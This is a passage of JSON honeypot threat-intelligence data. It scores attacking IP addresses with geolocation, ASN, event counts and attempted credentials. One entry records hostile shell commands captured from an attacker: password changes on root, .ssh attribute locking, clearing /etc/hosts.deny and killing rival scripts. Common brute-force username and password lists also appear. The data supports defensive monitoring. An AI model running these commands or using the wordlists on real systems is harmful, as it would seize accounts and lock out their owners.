        "Suricata": 53,
        "Honeytrap": 18,
        "Cowrie": 4,
        "Dionaea": 3,
        "Honeyaml": 3,
        "Ipphoney": 1,
        "Mailoney": 1
      }
    },
    "94.159.74.226": {
      "attack_count": 4,
      "first_seen": "2026-05-05T11:02:47.831Z",
      "last_seen": "2026-05-07T03:45:00.353Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 49531,
      "as_org": "NetCom-R LLC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:02:47.831000+00:00",
        "last_seen_30d": "2026-05-07T03:46:07.049000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "101.235.198.2": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:51:33.357Z",
      "last_seen": "2026-05-11T12:52:04.872Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:51:33.357000+00:00",
        "last_seen_30d": "2026-05-11T12:53:07.290000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.236.140.19": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:55:53.375Z",
      "last_seen": "2026-05-14T14:55:53.376Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 151518,
      "as_org": "SMK Negeri 22 Jakarta",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:55:53.375000+00:00",
        "last_seen_30d": "2026-05-14T14:57:00.120000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.241.208.131": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:22:27.332Z",
      "last_seen": "2026-05-16T02:22:40.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yilan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:22:27.332000+00:00",
        "last_seen_30d": "2026-05-16T02:23:44.499000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.97.72": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:05:23.290Z",
      "last_seen": "2026-05-23T13:06:00.430Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:05:23.290000+00:00",
        "last_seen_30d": "2026-05-23T13:07:08.070000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.164.156.89": {
      "attack_count": 2,
      "first_seen": "2026-05-14T23:10:16.368Z",
      "last_seen": "2026-05-14T23:10:47.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:10:16.368000+00:00",
        "last_seen_30d": "2026-05-14T23:11:49.869000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "124.29.223.186": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:42:59.049Z",
      "last_seen": "2026-05-03T11:43:11.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:42:59.049000+00:00",
        "last_seen_30d": "2026-05-03T11:44:21.403000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.100.63.119": {
      "attack_count": 2,
      "first_seen": "2026-05-31T11:29:49.778Z",
      "last_seen": "2026-05-31T11:30:01.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Maring\u00e1",
      "asn": 262354,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:29:49.778000+00:00",
        "last_seen_30d": "2026-05-31T11:31:03.173000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.168": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:43:07.128Z",
      "last_seen": "2026-05-25T01:43:07.430Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 27,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T22:35:54.519000+00:00",
        "last_seen_30d": "2026-05-30T20:02:51.862000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 18,
        "Cowrie": 2,
        "ElasticPot": 1,
        "Wordpot": 1
      }
    },
    "170.83.144.120": {
      "attack_count": 2,
      "first_seen": "2026-05-13T17:11:55.935Z",
      "last_seen": "2026-05-13T17:12:07.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Franco da Rocha",
      "asn": 266468,
      "as_org": "ACESSANET TELECON LTDA",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:11:55.935000+00:00",
        "last_seen_30d": "2026-05-13T17:13:17.622000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.191.225.252": {
      "attack_count": 2,
      "first_seen": "2026-05-04T23:19:00.924Z",
      "last_seen": "2026-05-04T23:19:13.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Punto Fijo",
      "asn": 271855,
      "as_org": "MANGO NETWORK, C. A. MANGONET, C. A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:19:00.924000+00:00",
        "last_seen_30d": "2026-05-04T23:20:14.737000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.230.66.178": {
      "attack_count": 2,
      "first_seen": "2026-05-31T06:11:42.656Z",
      "last_seen": "2026-05-31T06:11:54.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Monte Grande",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:11:42.656000+00:00",
        "last_seen_30d": "2026-05-31T06:12:57.202000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.50.86.44": {
      "attack_count": 2,
      "first_seen": "2026-05-17T13:20:25.216Z",
      "last_seen": "2026-05-17T13:22:25.219Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T13:20:25.216000+00:00",
        "last_seen_30d": "2026-05-17T13:33:05.759000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.228.218.236": {
      "attack_count": 2,
      "first_seen": "2026-05-23T14:34:41.967Z",
      "last_seen": "2026-05-23T14:34:43.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "San Nicol\u00e1s de los Arroyos",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:34:41.967000+00:00",
        "last_seen_30d": "2026-05-23T14:35:51.124000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.2.102.27": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:45:41.728Z",
      "last_seen": "2026-05-11T18:45:54.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Brantford",
      "asn": 40788,
      "as_org": "Start Communications",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:45:41.728000+00:00",
        "last_seen_30d": "2026-05-11T18:46:56.464000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.45": {
      "attack_count": 2,
      "first_seen": "2026-05-16T06:27:02.695Z",
      "last_seen": "2026-05-16T06:27:12.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:10:32+00:00",
        "last_seen_30d": "2026-05-31T03:16:40.022000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 27,
        "ConPot": 3,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "199.192.89.208": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:51:27.328Z",
      "last_seen": "2026-05-15T12:53:27.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cambridge",
      "asn": 46883,
      "as_org": "Bay Country Communications, Inc.",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:51:27.328000+00:00",
        "last_seen_30d": "2026-05-15T12:54:32.495000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "2.89.145.61": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:08:53.600Z",
      "last_seen": "2026-05-07T14:09:07.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:08:53.600000+00:00",
        "last_seen_30d": "2026-05-07T14:10:11.673000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.76.205.216": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:58:20.876Z",
      "last_seen": "2026-05-16T02:58:55.847Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:58:20.876000+00:00",
        "last_seen_30d": "2026-05-16T02:59:59.188000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.178.251.31": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:25:38.837Z",
      "last_seen": "2026-05-04T12:25:52.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juatuba",
      "asn": 269051,
      "as_org": "UNIVERSO FIBER COMUNICACAO MULTIMIDIA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:25:38.837000+00:00",
        "last_seen_30d": "2026-05-04T12:27:01.994000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.79.20.59": {
      "attack_count": 2,
      "first_seen": "2026-05-10T20:48:15.930Z",
      "last_seen": "2026-05-10T20:48:15.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:48:15.930000+00:00",
        "last_seen_30d": "2026-05-10T20:49:22.129000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.137.64.154": {
      "attack_count": 2,
      "first_seen": "2026-05-02T22:56:14.184Z",
      "last_seen": "2026-05-02T22:56:27.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:56:14.184000+00:00",
        "last_seen_30d": "2026-05-02T22:57:30.995000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "88.199.167.10": {
      "attack_count": 2,
      "first_seen": "2026-05-21T16:09:08.647Z",
      "last_seen": "2026-05-21T16:09:20.797Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "K\u0119pno",
      "asn": 20960,
      "as_org": "TK Telekom sp. z o.o.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:09:08.647000+00:00",
        "last_seen_30d": "2026-05-21T16:10:26.925000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.216": {
      "attack_count": 2191,
      "first_seen": "2026-05-31T11:19:57.055Z",
      "last_seen": "2026-05-31T11:50:41.283Z",
      "sessions": 437,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "admin",
        "user",
        "test",
        "claude",
        "deployer",
        "dev",
        "pi",
        "openclaw",
        "postgres",
        "testuser",
        "cloud",
        "debian",
        "ftpuser",
        "alex",
        "appuser",
        "bot",
        "devops"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "password",
        "root",
        "12345",
        "12345678",
        "P@ssw0rd",
        "123456789",
        "1qaz@WSX",
        "Aa123456",
        "toor",
        "abc123",
        "admin",
        "admin123",
        "p@ssw0rd",
        "qwerty",
        "test",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3084,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:19:57.055000+00:00",
        "last_seen_30d": "2026-05-31T11:51:46.281000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2191,
        "Suricata": 893
      }
    },
    "80.158.109.51": {
      "attack_count": 1131,
      "first_seen": "2026-05-02T10:07:48.600Z",
      "last_seen": "2026-05-30T02:12:12.083Z",
      "sessions": 133,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "minecraft",
        "ts3",
        "user",
        "debian",
        "git",
        "postgres",
        "admin1",
        "adminsys",
        "ali",
        "bitnami",
        "developer",
        "ec2-user",
        "frappe",
        "ftp-user",
        "ftptest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1",
        "1234",
        "P@ssw0rd",
        "!@#$%^&*(",
        "!QAZ2wsx3edc",
        "12",
        "12345",
        "123456123",
        "1234567890",
        "123456A@",
        "123456aa",
        "1234rewq",
        "123@abc",
        "123qaz",
        "123qwe!@#QWE",
        "123qwez"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123qaz\\njignQTXMWc9P\\njignQTXMWc9P\\n\"|passwd",
        "echo \"12\\n2wKlsZFGTXS2\\n2wKlsZFGTXS2\\n\"|passwd",
        "echo \"root:6615lqA9Syc5\"|chpasswd|bash",
        "echo \"root:BEWAdhhryZch\"|chpasswd|bash",
        "echo \"root:DOzEHaXikAmW\"|chpasswd|bash",
        "echo \"root:FMK5QVz8BUBQ\"|chpasswd|bash",
        "echo \"root:j0P5E9GqpyPk\"|chpasswd|bash",
        "echo \"root:qQbFA2tl7nhC\"|chpasswd|bash",
        "echo -e \"123qaz\\njignQTXMWc9P\\njignQTXMWc9P\"|passwd|bash",
        "echo -e \"12\\n2wKlsZFGTXS2\\n2wKlsZFGTXS2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 6878,
      "as_org": "T-Systems International GmbH",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1423,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:07:48.600000+00:00",
        "last_seen_30d": "2026-05-30T02:13:18.514000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1131,
        "Suricata": 292
      }
    },
    "47.251.5.136": {
      "attack_count": 1062,
      "first_seen": "2026-05-24T06:15:30.475Z",
      "last_seen": "2026-05-24T08:16:22.383Z",
      "sessions": 212,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "git",
        "postgres",
